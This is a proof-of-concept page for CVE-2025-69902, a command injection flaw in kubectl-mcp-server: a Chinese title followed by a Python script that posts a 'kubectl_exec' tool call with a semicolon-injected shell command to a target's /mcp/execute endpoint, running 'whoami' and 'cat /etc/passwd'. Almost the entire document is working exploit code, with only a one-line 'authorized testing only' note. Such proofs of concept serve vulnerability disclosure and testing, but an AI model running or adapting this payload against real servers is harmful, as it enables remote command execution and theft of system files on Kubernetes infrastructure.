CVE-2025-69902 kubectl-mcp-server命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-69902 PoC - kubectl-mcp-server Command Injection This PoC demonstrates the command injection vulnerability in minimal_wrapper.py Note: For authorized security testing only """ import requests import json # Target configuration TARGET_URL = "http://target-server:8080" def exploit_command_injection(target_url, command): """ Exploit the command injection vulnerability by injecting shell metacharacters """ # Malicious payload with command injection payload = { "tool": "kubectl_exec", "args": { "command": f"; {command};", # Inject command via semicolon "namespace": "default" } } try: response = requests.post( f"{target_url}/mcp/execute", json=payload, timeout=10 ) return response.json() except Exception as e: return {"error": str(e)} def main(): # Test with whoami command result = exploit_command_injection(TARGET_URL, "whoami") print(f"[+] Command execution result: {result}") # Test reading sensitive file result = exploit_command_injection(TARGET_URL, "cat /etc/passwd") print(f"[+] File read result: {result}") if __name__ == "__main__": main()